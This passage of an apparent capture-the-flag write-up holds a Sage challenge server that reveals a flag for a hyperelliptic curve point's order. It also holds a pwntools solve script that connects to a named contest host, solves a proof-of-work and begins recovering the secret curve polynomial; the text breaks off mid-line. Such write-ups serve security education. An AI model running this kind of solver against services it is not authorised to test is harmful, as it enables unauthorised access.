class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> V</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source">p</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> getPrime</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">40</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">R</span><span class="z-punctuation">,</span><span class="z-source"> x</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> PolynomialRing</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">GF</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">p</span><span class="z-punctuation">),</span><span class="z-punctuation z-definition z-string z-string"> &#39;x&#39;</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">objgen</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">f</span><span class="z-keyword z-operator"> =</span><span class="z-source"> R</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">random_element</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">5</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">monic</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source">H</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> HyperellipticCurve_</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">f</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python">print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">p = </span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">if</span><span class="z-support z-variable z-magic z-python"> __name__</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &quot;__main__&quot;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> cnt</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 0</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-constant z-language z-python"> True</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;1. Get random point</span><span class="z-constant z-character z-escape">\n</span><span class="z-string">2. Solve the challenge</span><span class="z-constant z-character z-escape">\n</span><span class="z-string z-punctuation z-definition z-string">3. Exit&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> try</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> opt</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> int</span><span class="z-punctuation">(</span><span class="z-support z-function z-builtin z-python">input</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;&gt; &quot;</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> except</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;❓ Try again.&quot;</span><span class="z-punctuation">)</span><span class="z-source">; </span><span class="z-keyword z-control z-flow z-python">continue</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> opt</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> cnt</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 3</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> G</span><span class="z-keyword z-operator"> =</span><span class="z-source"> H</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">random_element</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> k</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> getRandomRange</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> p</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> P</span><span class="z-keyword z-operator"> =</span><span class="z-source"> k</span><span class="z-keyword z-operator"> *</span><span class="z-source"> G</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Here is your point:&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">P</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">U = </span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">P</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">V = </span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> cnt</span><span class="z-keyword z-operator"> +=</span><span class="z-constant z-numeric"> 1</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;You have enough point!&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> continue</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> opt</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 2</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> G</span><span class="z-keyword z-operator"> =</span><span class="z-source"> H</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">random_element</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">G</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">U</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> G</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">V</span><span class="z-punctuation">)</span><span class="z-meta z-function-call z-arguments z-python"> = </span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Give me the order !&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> odr</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> int</span><span class="z-punctuation">(</span><span class="z-support z-function z-builtin z-python">input</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;&gt;&quot;</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-punctuation"> (</span><span class="z-source">odr</span><span class="z-keyword z-operator"> *</span><span class="z-source"> G</span><span class="z-punctuation">).</span><span class="z-source">U</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 1</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-source"> odr</span><span class="z-keyword z-operator"> &gt;</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Congratz! &quot;</span><span class="z-keyword z-operator"> +</span><span class="z-support z-function z-builtin z-python"> open</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;flag.txt&quot;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;r&quot;</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">read</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Wrong...&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> break</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Farewell.&quot;</span><span class="z-punctuation">)</span><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> break</span></span></code></pre> <p>本题可能卡时间，单纯超椭圆上运算太慢，多试试运气</p> <pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># crypto/Happy ECC - Revenge</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> hashlib</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> re</span></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> sage</span><span class="z-punctuation">.</span><span class="z-source">all</span><span class="z-keyword"> import</span><span class="z-keyword z-operator"> *</span></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> pwn</span><span class="z-keyword"> import</span><span class="z-keyword z-operator"> *</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> subprocess</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> ast</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">context</span><span class="z-punctuation">.</span><span class="z-source">log_level</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation z-definition z-string z-string"> &quot;debug&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># ===================================================================</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># ## Part 1: Official PoW Solver Code</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># ## This code will be written to a file named &#39;kctf_solver.py&#39;.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># ===================================================================</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">kctf_solver_code</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation z-definition z-string"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-string">#!/usr/bin/env python3</span></span> <span class="giallo-l"><span class="z-string">import base64, os, secrets, socket, sys, hashlib</span></span> <span class="giallo-l"><span class="z-string">try:</span></span> <span class="giallo-l"><span class="z-string"> import gmpy2</span></span> <span class="giallo-l"><span class="z-string"> HAVE_GMP = True</span></span> <span class="giallo-l"><span class="z-string">except ImportError:</span></span> <span class="giallo-l"><span class="z-string"> HAVE_GMP = False</span></span> <span class="giallo-l"><span class="z-string">VERSION = &#39;s&#39;</span></span> <span class="giallo-l"><span class="z-string">MODULUS = 2**1279-1</span></span> <span class="giallo-l"><span class="z-string">def python_sloth_root(x, diff, p):</span></span> <span class="giallo-l"><span class="z-string"> exponent = (p + 1) // 4</span></span> <span class="giallo-l"><span class="z-string"> for i in range(diff):</span></span> <span class="giallo-l"><span class="z-string"> x = pow(x, exponent, p) ^ 1</span></span> <span class="giallo-l"><span class="z-string"> return x</span></span> <span class="giallo-l"><span class="z-string">def gmpy_sloth_root(x, diff, p):</span></span> <span class="giallo-l"><span class="z-string"> exponent = (p + 1) // 4</span></span> <span class="giallo-l"><span class="z-string"> for i in range(diff):</span></span> <span class="giallo-l"><span class="z-string"> x = gmpy2.powmod(x, exponent, p).bit_flip(0)</span></span> <span class="giallo-l"><span class="z-string"> return int(x)</span></span> <span class="giallo-l"><span class="z-string">def sloth_root(x, diff, p):</span></span> <span class="giallo-l"><span class="z-string"> if HAVE_GMP: return gmpy_sloth_root(x, diff, p)</span></span> <span class="giallo-l"><span class="z-string"> else: return python_sloth_root(x, diff, p)</span></span> <span class="giallo-l"><span class="z-string">def encode_number(num):</span></span> <span class="giallo-l"><span class="z-string"> size = (num.bit_length() // 24) * 3 + 3</span></span> <span class="giallo-l"><span class="z-string"> return str(base64.b64encode(num.to_bytes(size, &#39;big&#39;)), &#39;utf-8&#39;)</span></span> <span class="giallo-l"><span class="z-string">def decode_number(enc):</span></span> <span class="giallo-l"><span class="z-string"> return int.from_bytes(base64.b64decode(bytes(enc, &#39;utf-8&#39;)), &#39;big&#39;)</span></span> <span class="giallo-l"><span class="z-string">def decode_challenge(enc):</span></span> <span class="giallo-l"><span class="z-string"> dec = enc.split(&#39;.&#39;)</span></span> <span class="giallo-l"><span class="z-string"> if dec[0] != VERSION: raise Exception(&#39;Unknown challenge version&#39;)</span></span> <span class="giallo-l"><span class="z-string"> return list(map(decode_number, dec[1:]))</span></span> <span class="giallo-l"><span class="z-string">def encode_challenge(arr):</span></span> <span class="giallo-l"><span class="z-string"> return &#39;.&#39;.join([VERSION] + list(map(encode_number, arr)))</span></span> <span class="giallo-l"><span class="z-string">def solve_challenge(chal):</span></span> <span class="giallo-l"><span class="z-string"> [diff, x] = decode_challenge(chal)</span></span> <span class="giallo-l"><span class="z-string"> y = sloth_root(x, diff, MODULUS)</span></span> <span class="giallo-l"><span class="z-string"> return encode_challenge([y])</span></span> <span class="giallo-l"><span class="z-string">def main():</span></span> <span class="giallo-l"><span class="z-string"> if len(sys.argv) != 3 or sys.argv[1] != &#39;solve&#39;: sys.exit(1)</span></span> <span class="giallo-l"><span class="z-string"> challenge = sys.argv[2]</span></span> <span class="giallo-l"><span class="z-string"> solution = solve_challenge(challenge)</span></span> <span class="giallo-l"><span class="z-string"> sys.stdout.write(solution)</span></span> <span class="giallo-l"><span class="z-string">if __name__ == &quot;__main__&quot;:</span></span> <span class="giallo-l"><span class="z-string"> main()</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string">&quot;&quot;&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Write the solver code to a file to be called by the subprocess</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">with</span><span class="z-support z-function z-builtin z-python"> open</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;kctf_solver.py&quot;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;w&quot;</span><span class="z-punctuation">)</span><span class="z-keyword z-control z-flow z-python"> as</span><span class="z-source"> f</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> f</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">write</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">kctf_solver_code</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> parse_poly_str</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">s</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> R</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;&quot;&quot;Parses the server&#39;s polynomial string into a Sage polynomial object.&quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> R</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">s</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">replace</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;^&#39;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;**&#39;</span><span class="z-punctuation">))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> solve</span><span class="z-punctuation">():</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Connect to the challenge server</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # conn = remote(&#39;happy-ecc.chal.idek.team&#39;, 1337)</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> remote</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;happy-ecc-revenge.chal.idek.team&#39;</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 1337</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # --- Part 1: Solve Proof-of-Work ---</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> try</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">info</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Waiting for Proof-of-Work challenge...&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # pow_line = conn.recvuntil(b&quot;Input the decimal result of n&quot;, timeout=10)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # match = re.search(rb&quot;b&#39;(.+)&#39;\)\.hexdigest\(\) = (.+)&quot;, pow_line)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # salt, target_hash = match.group(1), match.group(2).decode()</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # log.info(f&quot;PoW Salt: {salt.decode()}, Target: {target_hash}&quot;)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # log.info(&quot;Brute-forcing PoW solution &#39;n&#39;...&quot;)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # for n in range(2**28):</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # if hashlib.md5(str(n).encode() + salt).hexdigest() == target_hash:</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # log.success(f&quot;PoW solution found: n = {n}&quot;)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # conn.sendlineafter(b&#39;: &#39;, str(n).encode())</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # break</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # else:</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # log.failure(&quot;Could not solve PoW.&quot;)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # conn.close()</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # return</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # print(&quot;[*] Handling Proof-of-Work using subprocess...&quot;)</span></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-keyword z-operator"> =</span><span class="z-source"> conn</span></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;) solve &quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> challenge</span><span class="z-keyword z-operator"> =</span><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[*] Received PoW challenge: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">challenge</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Run the external solver script and capture its output</span></span> <span class="giallo-l"><span class="z-source"> result</span><span class="z-keyword z-operator"> =</span><span class="z-source"> subprocess</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">run</span><span class="z-punctuation">(</span></span> <span class="giallo-l"><span class="z-punctuation"> [</span><span class="z-punctuation z-definition z-string z-string">&#39;python3&#39;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;kctf_solver.py&#39;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;solve&#39;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> challenge</span><span class="z-punctuation">],</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> capture_output</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">True</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> text</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">True</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> check</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">True</span></span> <span class="giallo-l"><span class="z-punctuation"> )</span></span> <span class="giallo-l"><span class="z-source"> solution</span><span class="z-keyword z-operator"> =</span><span class="z-source"> result</span><span class="z-punctuation">.</span><span class="z-source">stdout</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[*] Calculated PoW solution: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">solution</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendlineafter</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;Solution? &quot;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> solution</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">encode</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;Correct</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;[+] PoW solved!&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> except</span><span class="z-support z-type z-exception z-python"> Exception</span><span class="z-keyword z-control z-flow z-python"> as</span><span class="z-source"> e</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">warning</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;No PoW found or PoW failed: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">e</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> pass</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # --- Part 2: Recover f(x) via CRT ---</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&#39;p = &#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> p</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> int</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">info</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Received prime p = </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">p</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> F</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> GF</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">p</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> R</span><span class="z-punctuation">,</span><span class="z-source"> x</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> PolynomialRing</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">F</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;x&#39;</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">objgen</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> congruences</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> []</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">info</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Requesting 3 points to recover f(x)...&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> i</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendlineafter</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&#39;&gt; &#39;</span><span class="z-punctuation">,</span><span class="z-storage z-type z-string z-python"> b</span><span class="z-punctuation z-definition z-string z-string">&#39;1&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&#39;P.U = &#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> U_str</span><span class="z-keyword z-operator"> =</span><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&#39;P.V = &#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> V_str</span><span class="z-keyword z-operator"> =</span><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> U</span><span class="z-punctuation">,</span><span class="z-source"> V</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> 